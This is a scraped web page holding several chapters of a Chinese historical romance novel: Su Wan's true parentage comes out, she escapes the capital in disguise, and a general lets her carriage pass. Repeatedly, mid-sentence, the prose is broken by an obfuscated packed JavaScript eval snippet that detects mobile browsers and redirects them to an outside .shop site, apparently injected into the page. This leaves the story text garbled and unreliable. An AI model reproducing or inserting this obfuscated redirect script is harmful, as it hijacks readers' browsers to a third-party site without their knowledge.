哪知芸娘附耳细语道:“老爷之前交给妾保存的房契地契,已被我偷偷折成现银,虽然打了些折扣,再加上妾积攒的嫁妆,足够我们后半生过舒坦日子了。” 老夫少妻,弯成一颗心。 看得苏绾又喜又酸。 喜的是芸娘终得归宿,一家人团团圆圆;酸的是苏君识厚此薄彼,对九香对苏绾毫无怜惜之情。 又想到大金牙为此一遭,赔付了全部身家性命,落得与女儿人鬼殊途,再深刻的酸楚与仇恨,也已付之东流。 她站在人群里,茕茕孑立,形影相吊,两眼望穿秋水。觉得人生好似一场梦。在别人的美梦里,是她的噩梦做着陪衬。 大理寺卿冷眼旁观人间之悲欢离合,低首抚弄白玉盖碗,碗内余留碧绿茶渍,散发清新的茶香。 他拈起一根茶棍,食指拇指之间揉搓,直至揉成一团烂泥。 心下万般清明。 抬起青色衣袖,将苏君识招至跟前,低眉问道:“苏郎中几时遇见的九香?” 苏君识闻言,老眼瞬间沉落,胡乱搪塞:“约莫十七八年前吧。” 然寺卿大人却不肯轻易放过他,紧着追问道:“究竟是十七,还是十八年前?” 仿佛被人拿捏七寸,苏君识眼神闪躲,支支吾吾,语焉不详:“人老记性差,记不太清了,大约就是那个时候罢。” 可大理寺卿的眼睛雪亮,端着袖子质问道:“你怎会记不清楚?春月坊的花娘卖身契存根上面,可是明明白白记录:永乐八年秋,两千收九香。本官问你,今朝是何年?永乐二十五年夏。你再仔细回想一下,苏绾的生辰为何时?” 苏君识将头埋得很低,两手攥着不知所措,“这、这个......” 邵云礼负着手,鄙夷道:“你连自己的女儿生辰八字都不知道吗?她的户籍名册写着:永乐九年二月初二辰时。女子怀胎九月,方能生产。你掐着指头算一算,这期间相隔多少月数?” 苏君识如芒在背,臃肿身体晃来晃去。 纸包不住火。 大理寺卿趁机发出深刻一问:“其实,你早就知道苏绾不是你的女儿,只是一直埋在心里不讲。对不对?” 苏君识眉毛垂丧着,唉声叹气:“老夫、老夫当年一时糊涂,被九香那个坏女人骗了。她曲意逢迎,假装扬州瘦马,勾引我上当,结果害我当了大王八。” “你完全可以一走了之,行院里哪有所谓的真心呢?”大理寺卿冷冷道。 苏君识叹道:“都怪我一时贪嗔痴,因九香承诺:不争不抢,只做外室,不进家门。我想着,能白嫖花娘,还不用担心身子骨肮脏,也无所谓了。后来九香被苏殷氏强娶进门,我也没脸再向人解释缘由,也便随她去了。” 寺卿大人眸底泛出阴冷之色,“所以你对九香的死亡置若罔闻,纵容苏家人欺侮苏绾,甚至还下令将苏绾卖到行院。如此丑恶行径,简直禽兽不如!” 苏君识自知理亏,也没敢辩驳,缩着身子,任凭大理寺卿如何猛烈抨击他,也不言语。 自从时枫向邵云礼介绍苏绾家世之后,邵云礼一直感到好奇:为何苏家一而再,再而三迫害苏绾,而苏家家主却销声匿迹不作为,这不符合正常人家的逻辑——虎毒尚不食子。 为此他调请查询九香在县衙的户籍登记表格,结果赫然发现:苏绾并非苏君识所生,生辰八字根本对不上号。 他暗自猜测:当年,扬州堕花院发生一些事情,导致瘦马九香遭人玷污,身怀六甲。九香唯恐被人发现,恰时大金牙出现在九香旁边,两人一同逃离扬州,一路来到京城。 大金牙以人伢子身份,给九香上了奴籍,以两千价格卖给春月坊。后来九香遇到苏君识,对方不惜为她退奴籍,喜当爹。直至嫁入苏家以后,九香被苏夫人设计陷害,殒命沉湖。 细细比较,便可得知:大金牙与苏君识,全都没有说实话。 两个人各自隐瞒某些关键信息,而这些信息串联起来,有一处共同点:苏绾的生父。 大金牙作为跑江湖的人伢子,没道理在明知九香有孕的前提下,还要强行将她从堕花院拐卖,这是一桩亏本的买卖不说,也有损他的信誉,为他在江湖树敌不少。 另外,根据芸娘所述,大金牙生前十分疼爱女儿,并非彻头彻尾的恶人,当年时樾尚且饶恕他,可见大金牙心中存留慈善。他完全有可能,出于真心帮助九香,为她找寻出路。 他还特意调查春月坊的奴籍名册,了解到九香入籍、退籍时间。因律法规定:良贱籍不得通婚。因此苏君识必是花了不少心血,才将九香改成良籍。 倘若真如苏君识所述,九香欺骗勾引了他,他又怎会心甘情愿为骗子辛苦筹谋退籍,甚至勇敢承担起做父亲的责任——虽然这丈夫,父亲俩角色,都被他做得一塌糊涂。 大金牙与苏君识,二人皆非愚鲁之人,怎会毫无保留地为一位瘦马付出所有?难道他们就不想知道,谁是始作俑者?可如今他们二人,一个斯人已逝,另一个绝口不提往事。 或许,苏绾的生父,才是真正的幕后操纵之人。 而时樾也许探究到其中的奥秘,才会被对方下手杀害。 九香与这位背后操纵者,又有什么关系?是否和都蛮族的女书绣帕有关? 这些散乱各处的信息碎片,如何拼凑出真相,他不得而知。但他此刻不能打草惊蛇,以免被幕后黑手盯上,前功尽弃。 恰时芸娘安排仆从收拾行李,大包小包往马车上搬弄。她的体己物什并不多,大部分金银珠宝早已挪运出城。至于苏君识那边,因其主动净身出户,只带了几件贴身衣物,以及书房的一些书籍奏章、笔墨纸砚等,很快清理完毕。 她在门外,翘脚召唤:“郎君~我们走吧?” 苏君识向大理寺卿鞠了一躬,殷切道:“老夫这厢告辞了。” 寺卿大人摆摆手。 一桩冤案就此了结。 他须即刻返程,同时枫报备苏绾的身世,免不了要时枫南下扬州打探。 那边芸娘抱着宝哥儿,与苏绾交指别离,泪如雨下。 芸娘哭道:“没想到,这么快就要与你分离,我还没跟你交够心呢。如今我回去乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014536|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,你嫁到豪门世家,今生再想相见,也就难了。” 宝哥儿招招小手,“阿佳~抱~” 苏绾逗弄宝哥儿,心中充满不舍。短暂数月相处,已让她跟宝哥儿血脉连通,难以分割,宝哥儿就好似她的孩子一般。 上一世,她被苏沅芷强灌红花汤,导致堕胎流产,从此失去生育能力。她多想拥有一个自己的孩子啊。 她揩去眼角泪痕,强作笑脸:“哪里就再也见不到了?你在通县宝坻的地址,我已背得滚瓜烂熟,上秋时我就去看你。你须好菜好肉地招待我,倘有一片菜叶不新鲜,我一准甩脸子给你看。” 芸娘想了一下,从荷包里掏出一小团,打开来是一件打造的银器,拇指般大小。 “这是父亲交给我,让我在紧急时刻拿出来用。如今我要回去乡下了,再紧急的事,也比不过方才那一刻。我留着也没用了,送给你吧。” 苏绾拿过来,仔细观看,好像苗疆产物,连芸娘也不知道是什么,苏绾收在怀里。抬起眼眸,突然又想起什么,低首道:“你的父亲被京卫指挥使打死,你可还恨他?” 芸娘愣了愣,低下眼眸,摇摇头,“做山匪的,早已习惯了刀尖舔血的生活,指不定哪天就要掉脑袋,他早就做好准备,并知会我了。” “前头我盼着他多活一天是一天,现在我祈祷他下一世投生好人家,不必再过穷苦日子。一切都是因果报应。” “我陶芸娘虽大字不识一个,好歹我也懂得江湖人生道义。本来就是我的父亲触犯法律,我又怎么好意思恨上官家呢?” 说到“官家”,她杏眼一斜,睇着苏绾吃吃笑道:“若非女大虫揭发你,我竟还不知,你什么时候同京卫指挥使好到一起去了?你们睡过了吗?” 苏绾连忙遮住宝哥儿的小耳朵,嗔道:“怎可在娃面前胡说八道,罪过罪过。” 她低下娥眉,细声道:“不过是一桩买卖交易,他帮我办事,我还他些虚情假意的‘真心’罢了。” 芸娘揶揄道:“苏二小姐竟下海干起这些见不得人的勾当来了。” 肩膀被苏绾捶了一下,力度不大。 苏绾莞尔道:“你还好意思说我,我算真正明白,你为何懂得那么多弄钱的法子。原来早在一开始,你就设下圈套等着老爷往里跳,你才是蛇蝎美人。” 话未说完,苏绾的肩膀也挨了一击。 俩娇俏笑做一团。 风淡云轻,雨拂京城。 直到夜半三更,苏夫人才将苏醒,醒来面前即是空空荡荡,偌大的一座宅邸,竟有回音绕梁。 管家嬷嬷端着一柄蜡烛,烛火风雨摇曳,“老爷和姨娘下午就动身离府了,只用一辆马车,拿走些许衣物笔墨。家里财产分文未动,仆从大多打发归家,余下少许嬷嬷小厮伺候夫人。” 管家嬷嬷乃苏夫人的亲信,伺候苏夫人二十年,忠诚可靠。当年苏夫人设计害死九香,就是管家嬷嬷牵线带头。 房里还剩小丫鬟阿沁,也是苏夫人在钱塘老家的亲戚,此时也无处可去,蹲在墙角摆弄手影。 当下苏夫人心灰意懒,顿时起了归乡的念头。她挪了挪身体,命令道:“阿沁,给我洗漱梳妆,咱们这就离开。” 阿沁道:“咱们就这么走了吗?不跟二小姐打声招呼吗?我有阵子没见二小姐了,上次见她,还是端午那晚家宴在刘嬷嬷的住处,距今已一个多月了。” 端阳家宴,苏府出了大事件:苏尽欢酒醉行凶,杀害刘嬷嬷,前途尽毁不说,还落得不举的毛病,不得不被偷偷送到热河,和苏沅芷一起疗养去了。 可苏绾怎会出现在那里? 苏夫人细细审问阿沁,阿沁眨巴眨巴眼睛,眼泪汪汪地叙述经过:她亲眼看见二小姐从刘嬷嬷房里离开,紧接着过了一会,刘嬷嬷出门向出事的下人厢房走去。 一切竟都是受那个庶女指使! 苏夫人恨得咬牙切齿,自己为苏家尽心尽力,养育一双儿女,倒头来被个贱人捣毁所有。 她须让庶女付出血的代价。 可她如今孑然一身,又有谁能帮她? 强龙不压地头蛇。 转念一想,苏绾的两个男人,又不会永远相安无事。她只需从中作梗,挑拨离间,准保苏绾会翻船。 苏夫人当下心生一计,吩咐管家嬷嬷准备笔墨,她彻夜写就一封告密函,交给小厮传递出去。 61. 易容 细雨一直下不停。 苏绾坐在桌案前,手里执一管狼毫,笔尖墨迹风干。她不住地望向窗外,竹林风声飒飒,雨声沥沥,唯不闻行走的脚步声。 “文竹也真是的,这都走了两个时辰了,还未回来,别是半路拐到天桥看热闹去了罢。”无霜端一碗姜汤,递到苏绾的跟前。 天气骤凉,又经过前番辛苦折腾,导致苏绾得了风寒,整夜睡不好觉。 “咳咳。”苏绾手握拳状,咳嗽两声,“鬼市位于城南,光是两条腿走过去就要耽搁一会子,总要给文竹宽泛些时间,也好与人讨价还价。” 无霜小手轻轻拍拍苏绾后背,“小姐,你说文竹,能找到那位神通广大的老神仙么?我听说高人一般住在深山里,怎么这位神仙偏要居住在鬼市呢?” 苏绾道:“你不懂,小隐隐于野,大隐隐于市。真正有本事的人,不拘小节,独善其身,素喜与人交流。” “哦,”无霜若有所悟,“怪不得鬼市里有那么多的奇人异事,想来都是所谓的高人隐于市啊。” 她以白瓷汤匙舀了一小口姜汤,喂给苏绾喝,“可是小姐,我们当真要‘那样’吗?你想好了吗?” 苏绾呷了一口姜汤,感到胃里暖极了,驱散接连几日的阴霾。 一夜之间,苏宅早已人去楼空,苏君识与芸娘搬到通县宝坻的宅院,潇洒过隐居日子;苏夫人那边,一把铜锁锁住宅门,带着几名旧仆,一早赶回钱塘老家去了;至于苏沅芷与苏尽欢姐弟俩,此刻正在热河的温泉池子里疗养。 偌大一座府邸,唯有偏院的紫竹苑,还余存几缕青烟袅袅。 然而,就连她也住不长久了。 经过一整夜的思考,苏绾感到形势越来越严峻。 温如初随时都会上门抓她,将她再度囚禁起来,施展雷霆手段,双重折磨她的精神与身体。 至于那封所谓的密函,更是让她无从做起——温如初素来小心谨慎,怎可能将如此重要的物件,随处放在一边,让人唾手可得。 细想一番,她又何必非要做细作,替人盗取密函呢?她的目的,一直就是逃离恶鬼的魔爪。 趁温如初还未行动,干脆逃跑吧。 如今芸娘与宝哥儿已经得到归宿,再也不必令她担忧安危。剩下的,就是带着无霜一起逃跑,逃到天涯海角,再不回头。 既做决定,清早苏绾令文竹去鬼市聘请一位老道士——听说老道有回天之力,可改变人的外貌,俗称“易容术”。 她和无霜则收拾细软,将之前假扮算命先生赚得的三千两银票装好,带上几件干净的换洗衣裳,准备随时动身。 扫院婢女春蝉,探头探脑地向屋内张望,支棱着耳朵倾听。姨娘搬走了,再也没人跟她说话,也不会有榆钱馍馍吃了。如今连二小姐也要离开,剩下她一个人,守在这寂寞的紫竹苑,扫万年的落叶。 春蝉感觉到,自己被所有人抛弃了。 忽然屋内苏绾招呼她,“春蝉,你进来。” 春蝉一惊,撒开小腿跑进屋内,“小姐有何吩咐?” 苏绾才饮完姜汤,拿帕子擦拭唇际,“我和无霜要离开这里,到云南大理去,你要不要一起来?” “真的吗?也带上我么?”春蝉眼睛睁得大大。 无霜笑道:“小姐几时骗过人,你还不赶快收拾东西?晚了就不带你走了哦。” 春蝉的小脑袋瓜捣蒜似的点不停,“要去要去,我以为你们不要我了呢。” 忽然苏绾正色道:“你走了,时将军那边怎么办?你还要一路通风报信给他吗?” 春蝉小脸煞白,慌道:“不敢不敢。我自是站在二小姐这边。而且、而且……” 她欲言又止,停了一息,鼓足勇气道:“时将军给我的任务,是以保护小姐为第一要任。除非小姐赶我走,不然我是一定要跟在小姐身边的。” 又心虚地低下头,眼睛瞟苏绾,“如果小姐不许我通风报信,那我、我就尽量不报信。” 焦急的小模样令苏绾忍俊不已,她本来也打算带着春蝉,不为别的,那个家伙说过:“春蝉会些功夫,带着她走,可以保护你。” 虽然他所指的“走”,是说要她南下陪着温如初。眼前苏绾要逃跑,春蝉正好给她上一道保险——她十分确定,温如初会不遗余力地追捕她。 等到接近她的最终目的地之后,再想办法甩掉春蝉,不让她知晓她的最终去处。此法对春蝉残忍了些,但有什么办法呢,谁让她是那个家伙派来的卧底呢。 忽然门外响起脚步声,一前一后,递嬗向闺房走来。 老神仙驾到! 苏绾打眼一看,老道头戴一顶破草帽,身著破烂溜丢一口钟,脚蹬露脚趾的草鞋,身材瘦骨棱棱,花白胡须散乱嘴巴周围,唯一双鹤眼炯炯,透射出犀利的寒光。 老道掀眸望向苏绾,狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024312|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠地盯了两眼,看得苏绾心里犯嘀咕:她是做错什么事了? 谁知那老道揣着袖子说道:“既是熟人,贫道要再加五十两。” “你说什么?” 苏绾额头青筋跳了跳,“越是熟人,不该越优惠些么?你怎么还杀熟?况且,谁跟你是熟人?我根本就不认识你。” 老道嗤笑一声,“这是贫道的规矩,熟人须翻倍。否则,人人都来求我,人人都套近乎,我不是要忙死?” 抬眼瞟了一眼苏绾,“你不就是京卫指挥使的小妾?贫道从你身子骨里挑出七根银针,你忘了吗?你的夫君为了救你,可是遭了剖心刮骨之苦,你竟翻脸不认人。呸。”老道啐了一口。 这牛鼻子老道真是又没礼貌又嚣张。 然而苏绾没空指责对方无礼,她眨眨眼,仿佛听见天方夜谭,“你说什么?什么小妾?什么刮骨剖心?你快速速道来。” “贫道没空跟你费口舌。”老道也是脾气上来了,掐着指头算道:“说好的易容术四位,每人五十两,你是熟人,加价为一百两,总共两百五十两现银,不要银票。” 对方不肯细说,苏绾也拿他没办法,只好先答应他的叫价,安抚住老道,再想辙套他的话头。 她命无霜取出两百五十两现银——这几乎是她手头的一半家底,交给老道。 那老道见到白花花的银子,突然两眼放精光,耳不聋了,眼不花了,走路也有劲了。他一把接过包裹银子的布包,鼓鼓囊囊地揣进怀里。 捋起破烂衣袖,搓弄枯枝手掌,花白眉毛一挺,“来吧。” 不消一炷香的工夫,四人焕然一新。 苏绾扮做一名老妪,鬓角花白,满脸褶皱。其余三人也都增添岁数,平均三四十岁左右。 四人各自举着铜镜观赏,惟妙惟肖,栩栩如生。 苏绾尝试模仿老妪口吻,“老身此去,为寻找远嫁他乡的小女,还请官爷行行好,放行老身出城。” 精湛口技,惊煞在场众人。 无霜见识过苏绾模仿书生的扮相,反应还算镇定,另外两人嘴巴张老大。 倒是那老道士,反而一脸淡定。 他睁着老花眼,将苏绾上上下下从头看到脚,彻底打破苏绾的精神防线,“喂,你拿了钱办了事,还有什么问题?” 老道仰首望了望蓬顶,低头掐指算了算,“施主命煞九星……” (未完待续) 62. 道理 雨摆轻条,吹湿粉面。 陆展元掀开帘子向车内望去,但见一位窈窕妇人,云鬓飘萧绿,花颜旖旎红,双眸剪秋水,十指剥春葱,正冲他嫣然一笑。 霎时间,浑身骨头酥软。 他咂么咂么嘴巴,强忍横流口涎,故意粗着嗓子道:“小娘子有何诉求?” 旁边老妪抢着答道:“官爷行行好,老婆子一家出城烧香拜神,一定赶在夕食前回城,绝不给官爷添堵。” 陆展元瞟了老妪一眼,黑脸斥道:“谁问你了?让这位小娘子说!” 对方气势咄咄逼人,妇人眼眸闪过一丝慌乱,她回首望着老妪,眼神充满无助。 老妪握着妇人的手,悄悄地按了按,示意她不要害怕,尽管按照自己的方式对付敌人。 妇人稍微安心,定了定神,抬起葱指理了理云鬓,讨好似的谄媚道:“大官人有所不知。小女子命薄,二八年华嫁了一户好人家,可惜郎君英年早逝,留下小女子一人独守空闺。不怕大官人笑话,此行我娘带我出来,为求一注‘姻缘签’,以解后半生孤独寂寞之苦。还请大官人开恩,放行小女子前去祈福,得觅良人相伴。” 说着,手里帕子扬了扬,扇起一阵香风脂粉气。 那股子香风迷了陆展元的眼,他起手一把扯住帕子,满眼弥漫着欲望,“烧香拜神,求签问卜,怎能求来姻缘,全系臭道士们的一派胡言。” 他拍了拍车厢,命令道:“下车,让本将军亲自教给你些大道理。” 一听对方要她下车,妇人顿时慌了手脚,急道:“大官人有话就在这里说吧,小女子乃寡妇,不方便抛头露面。” 老妪也跟着求情:“官老爷这是要干啥?我儿媳可是清白人家,寡妇门前是非多,若是被人看见了,可不止要说啥狗屁倒灶的糟心话呢。” 见婆媳二人苦苦哀求,陆展元反倒放了心。倘若一问就上钩,必是对他有所企图,“仙人跳”不都是这样嘛。 他交叉双臂,黝黑面颊阗满色心,“本将军出于好心,欲挽救小娘子出泥淖,你们怎还不领情?” 挤眉弄眼地暗示:“学完本将军的大道理,就让你们娘俩出城。” 又黑着面颊威胁道:“倘若不听话,立即捉去大牢审讯,白日出城为哪般?分明是个女暗探。” 金甲将军,高高在上,强逼女子。这世道,让人无法安然过活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043413|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,天下苦命女子多矣,岂又只得她一个? 妇人没得办法,对她娘凄然一笑,“娘啊,儿媳难尽孝,还请娘宽恕。” 说完,扭头决绝走下马车。 留下老妪与管家婆子哭作一团。 守卫士兵看了看众人,扶着手里的大刀,默默返回城楼岗位。 阴雨打叶,风号啼略。 那妇人扭捏跟随陆展元,一路趸至树林深处。老树枝叶盛茂,遮阳避雨,并未多少潮湿。 终究是为了避嫌,才没登上城门楼办事。然五城兵马司多纨绔子弟,顽劣事迹早已传遍街巷,妇孺皆知。 陆展元寻了一处干净地界,三下两下脱掉金甲披风,闭着眼睛解裤带,嘴里说着:“小娘子,算你识相。跟了本将军,有你享不尽的荣华富贵……” 话未说完,突然“轰隆”一声,脑门遭巨石砸顶,他伸手一摸,鲜血淋漓。 两眼霎时发昏发黑,回首望向妇人,粉妆雕砌的脸面,嘴角扬起大大的弧度。耳旁缭绕妇人阴测测的笑声,分明是个男人。 “大官人的大道理,小娘子醍醐灌顶,永生难忘,嘻嘻。” (未完待续) 63. 追捕 苏绾掀眸望去,男人骑着银白色的踏月,一身单薄玄色衣衫,没穿任何外氅。小雨纤纤风细细,沾湿半边衣袖,另外半边,层层缠绕厚厚的绷带。一双凤眸寒气逼人,目不转睛地死盯着她看。 犀利的眼神仿佛两柄利剑,钻透层层绕绕伪装,刺得她脸颊火辣辣地疼。她蓦然感到一阵心虚,仿佛做错事的孩子被人抓包,将头摆放地很低,生怕被人责骂。 “出城,烧香。”男人低头喃喃自语。 手里攥着缰绳,腰间挂着的玉坠子闪闪发亮,上好的丝线打的墨金双色绦子,顶头镶嵌一颗珍贵的墨玉。黑色凫皮靴子夹紧马肋,挨着马车旁边半寸距离,马蹄轻轻踢踏着。 昂起高傲的额头,眸光扫过苏绾,目不转睛地盯着她的眼,语气冰冷如霜,“这一遭,又想拜求哪路神仙?” 苏绾拿不准对方是否看穿她的本相,但她根本不敢下注赌博,头埋得很深,手里举着帘子,也不敢放下,身子下意识地渐渐向后蜷缩。 完全忘记回答他。 “本将军问你呢,说话!” 男人忽而震怒,攥着缰绳的手关节,捏得咯吱作响。对方盛气凌人,怒火翻飞,仿佛要将她置于死地。 一声怒吼吓得苏绾一哆嗦,手里不由自主地一松,直接当着他的面摔了帘子。 车帘瞬间落下,阻断对方的气势,让她些微松口气。 谁知下一刻,帘子被人一把撕烂,整座车厢暴露在光亮之下。 一车的婆娘,惊慌失措。 “心虚了不成,连句话都不敢说?”男人逐渐丧失耐心。 再僵持下去,不得好果子吃。 老妪哆哆嗦嗦回道:“大将军在上,请、请受小老一拜。” 说着,颤颤巍巍跪在车板就要叩首。旁边的婆子并妇人也跟着下跪,全都大气不敢出一声。 老妪哭丧道:“小老携全家,去青石山道观……” “住嘴。” 不等她说完,男人粗暴打断话头,“我问的不是这个。” 难道已被他看穿一切? 老妪叩首泣曰:“小老罪过,此番南下,实为投奔远嫁他乡的小女。” 男人凤眸一沉,“去往何处?” 老妪如实回道:“途径济南府歇脚,小老的远亲在那里开商铺。” 男人有些急躁,“最终目的地?” 老妪顿了顿,似有难言之隐,左右为难,掀眸瞥了一眼,见男人怒气冲冲,又赶紧撂下眼皮,“去、去的是扬州。” 得到了想要的答案,男人终于收起目光,不再风霜刀剑的相逼。高傲地抬起下颌,颌角紧绷成完美的曲线,低觑着跪倒在地的四人。 “本将军接到快报,有贼人假扮女眷,刺伤五城兵马司都指挥,现已全城通缉。京营旨在拱卫京师,奉命例行检查,任何人出城皆须报备。” 低下头,嘴角飘出几个字,“一路小心。” 苏绾闻言一惊,她十分确定,对方完全看透她的伪装。只是不知何故,没有下令抓捕她,也没有撕破她的脸皮。 男人手里拉起缰绳,踏月马蹄蹭蹭,大手一挥,命令士兵道:“放行。” 金甲士兵小跑着领命,迅速拆除路障。所谓“拒马枪”,系以木材做成人字架,将枪头穿在横木上,使枪尖向外,设于要害处,主要用以防御骑兵突击,也常用来封锁道路。 很快,道路清除干净。 “快走快走。”士兵催促道。 几名妇人如梦方醒,来不及叩首拜谢,拉下撕成条状的帘子,车夫扬起马鞭,驱车纵马奔驰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062477|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 马车起步,晃荡着经过银白骏马。 擦肩而过的一刹那,透过车帘缝隙,苏绾隐约撞见那双清冽的凤眸,阗满了愤怒、失望、不舍等各种复杂心情。 她赶紧收回身子,窝在床头,大气不敢喘。心里头仿佛揣着兔子,惴惴不安。无霜和文竹均被京卫指挥使的气势压倒,仍在瑟瑟发抖。 车外的春蝉,仅凭一口气强撑,才没露出马脚。 马车渐行渐远,时枫咬了咬后槽牙,调转马头,准备回城。 小旗官问道:“将军不休息一下吗?踏月狂奔六十里地,喂点水也好。” 时枫一刻也不能停留,他须立即返回京城,处理陆展元的问题。这会子,兵部尚书一准派兵登上他的家门,以长官的名义,命令他出动京营三大营,全力追捕贼寇。 他冒着风险雨中飞驰,就为了拦截那“罪魁祸首”,不为抓捕她归案,而是提醒她注意安全,以及见她一面。 * 马车一路向南,飞驰势奔蹙。 “吓死我了,差点以为命都没了,还好没被黑狗将军发现我们。”无霜至今仍心有余悸,她拍拍胸脯,小脸蛋因紧张而微微泛红。 车外的春蝉接话道:“时将军早就发现咱们了,他特意设置拒马,就为拦截咱们。你还以为自己藏得挺好呢,一切阴谋诡计,都躲不过时将军的眼睛。” 无霜噘着小嘴反驳:“你就知道帮着黑狗将军,如果被他发现了,怎么没抓我们回城呢?又或者抓去兵营审讯呢?他怎么就巴巴地放咱们一马呢?” 春蝉答不上来。 苏绾亦不得而知,她心里猜测,那个家伙是想欲擒故纵,先放她跑一阵,再抓她回去。就好像猫儿抓住一只老鼠,却不想吃,只想逗着玩一样。 (未完待续) 64. 立誓 那日,时枫跟随沈枝意匆匆回到时府,甫一进门,赫然看见沈恪正悠闲自得在后花苑品茗赏花。 时枫惊诧道:“沈伯父,原来您没事啊。” 沈恪端着茶盏,嘶哈嘶哈吁热气,“我这一身老骨头,能有什么事情?” 沈枝意奇道:“可爹爹不是被兵部尚书派人强行绑走了吗?” 沈恪放下茶盏,捻了捻胡须,笑道:“都怪老夫,没同卿卿讲清楚。前时陆大人请我去喝茶,老夫本想在家等你荣耀归来,又不好推脱他,来来回回,拉拉扯扯,最后无奈也便去了。结果被卿卿误以为老夫被人绑架,才闹出这等笑话。” 沈枝意跺着小脚,撅着小嘴道:“爹爹怎么不早说?害得人家白白担心,还在街头蹲守将近一个时辰,鞋子都被人踩脏了。” 她瞥了一眼时枫,低头细声道:“卿卿吃些苦头不要紧,可枫哥哥好不容易从山匪手里救回绾姐姐,卿卿还没来得及问候绾姐姐安否,想来山寨里头,暗无天日,绝对不好过。” 旋裙来到时枫跟前,明眸噙着泪珠,“枫哥哥,都是卿卿的错。我不该没搞清楚状况,就把你拉回来,绾姐姐该多伤心啊。” 时枫心里面将沈恪骂了一百遍,嘴里说出来的却是:“沈伯父不必挂怀,您老身体无恙自是最好,小侄的事情无关紧要。只是……” 他低下头,目光躲闪,脸皮微热,“小侄回来的路上,将陆尚书的长子陆展元结结实实揍了一顿。小侄还以为陆尚书要找您老兴师问罪,这才急着赶回来。” 又抬头疑惑道:“难道陆尚书未跟您提及此事么?” “这么大的事情,陆大人怎可能不提。”沈恪冷笑一声,“陆能宠溺子女,任其子孙横行霸道,满京城人尽皆知。你打了他的儿子,他当然要还回来。” 沈恪虚眯老眼,“然而,你当你爹和老夫,是吃干饭的不成?凡事要留后步,打狗还须看主人。我们两个老不死,坐拥西北,东南沿海等兵家必争之地,乃封疆大吏,手下统领六十万大军。陆能想要找我俩的麻烦,可没那么容易。” “所以,陆尚书也只是请伯父喝杯茶而已。”时枫无可奈何地撇撇嘴。 沈恪大手一挥,“那倒也不止如此,老夫还给他提了个建议:将他的乖儿子,送去看守西城门历练,好顶替前任城门郎。” 时枫心内暗自叫好:那头愚蠢至极的熊罴,就该落此下场。 谁知沈恪话锋一转,指着时枫的鼻子,嗔目道:“西门的城门郎,乃你爹昔日旧部,与老夫也有些交情。他看在你爹的面子上,冒着砍头的风险,破例放你出城,却招致飞灾横祸。你这逆子,可知罪过?” 一席话说得时枫面红耳赤,无地自容。 他的确欠了城门郎的人情,也不知还有没有机会偿还。听说城门郎被巡城兵马司亲自拿去审问,被各种酷刑拷打折磨一整夜,愣是没咬出来时枫。奄奄一息之际,竟还揭露指挥使陆展元奸霪妇女罪行。 他低下头思忖半晌,复又抬起头来,“伯父所言极是,都是小侄的罪过。” 忽然凤眸一沉,“然而,伯父又怎会知道,当夜小侄离开京城,是为了去救被山匪掳走的苏绾?” 温如初曾亲自登门向时枫“求助”,实则为查证时枫是否外出,是沈恪当时接待的他。 沈恪自是心知肚明,就是时枫本人亲自去温家掳走的苏绾,只是不知其目的与原因。老将军还以为时枫携苏绾私奔,气得眉毛胡子一把抓,当即跟温如初交了底牌,扬言要将不肖子时枫逮捕,并亲自递解西北。 至此,温如初才最终断定,是时枫救走苏绾,才有了后续督促陆展元京营逮捕时枫一案。 说白了,就是沈恪从中作梗坏事,引导温如初将嫌疑目标定在时枫的身上。此刻时枫避重就轻,念在伯侄情分,没有当面揭穿沈恪老底,给他留了几分颜面。 见事情已败露, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 